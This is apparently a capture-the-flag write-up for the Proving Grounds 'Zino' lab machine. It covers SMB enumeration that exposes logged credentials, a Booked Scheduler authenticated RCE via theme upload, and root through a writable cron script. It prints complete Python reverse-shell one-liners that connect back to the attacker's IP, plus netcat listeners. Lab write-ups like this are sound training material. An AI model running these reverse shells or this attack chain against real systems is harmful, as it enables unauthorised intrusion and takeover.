Proving grounds Practice - Zino CTF writeup.
NMAP
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open mysql?
8003/tcp open http Apache httpd 2.4.38
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Found smb share.
Sharename Type Comment
--------- ---- -------
zino Disk Logs
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.
naveenj@hackerspace:[10:16]~/proving_grounds/Zino$ smbclient //192.168.201.64/zino -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jul 9 15:11:49 2020
.. D 0 Tue Apr 28 09:38:53 2020
.bash_history H 0 Tue Apr 28 11:35:28 2020
error.log N 265 Tue Apr 28 10:07:32 2020
.bash_logout H 220 Tue Apr 28 09:38:53 2020
local.txt N 33 Wed Oct 25 10:11:40 2023
.bashrc H 3526 Tue Apr 28 09:38:53 2020
.gnupg DH 0 Tue Apr 28 10:17:02 2020
.profile H 807 Tue Apr 28 09:38:53 2020
misc.log N 424 Tue Apr 28 10:08:15 2020
auth.log N 368 Tue Apr 28 10:07:54 2020
access.log N 5464 Tue Apr 28 10:07:09 2020
ftp
Downloaded local.txt file.
auth.log
Apr 28 08:16:54 zino groupadd[1044]: new group: name=peter, GID=1001
Apr 28 08:16:54 zino useradd[1048]: new user: name=peter, UID=1001, GID=1001, home=/home/peter, shell=/bin/bash
Apr 28 08:17:01 zino passwd[1056]: pam_unix(passwd:chauthtok): password changed for peter
Apr 28 08:17:01 zino CRON[1058]: pam_unix(cron:session): session opened for user root by (uid=0)
misc.log
naveenj@hackerspace:[10:32]~/proving_grounds/Zino$ cat misc.log
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
8003/tcp open http Apache httpd 2.4.38
Booked Scheduler v2.7.5 - search for exploit using searchsploit.
| Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated) | php/webapps/50594.py |
Credentials
admin:adminadmin
As per the exploit…
- Direct to the below URL and upload reverse shell or remote code execution php file.
http://192.168.201.64:8003/booked/Web/admin/manage_theme.php
- Trigger shell at
http://192.168.201.64:8003/booked/Web/custom-favicon.php?cmd=id.
Python2 reverese shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.232",22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
- Url encode and send the request.
naveenj@hackerspace:[10:45]~/proving_grounds/Zino$ nc -lvnp 22
listening on [any] 22 ...
connect to [192.168.45.232] from (UNKNOWN) [192.168.201.64] 51696
$ id
id
Initial Foothold Obtained.
Privilege Escalation
Download and run linpeas using port 8003
*/3 * * * * root python /var/www/html/booked/cleanup.py
Cronjon running every 3 minutes.
Python2 reverse shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.232",21));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Add the reverse shell code to cleanup.py file and wait for 3 minutes to get reverse connection.
naveenj@hackerspace:[11:13]~/proving_grounds/Zino$ nc -lvnp 21
listening on [any] 21 ...
connect to [192.168.45.232] from (UNKNOWN) [192.168.201.64] 35774
#
Root Obtained
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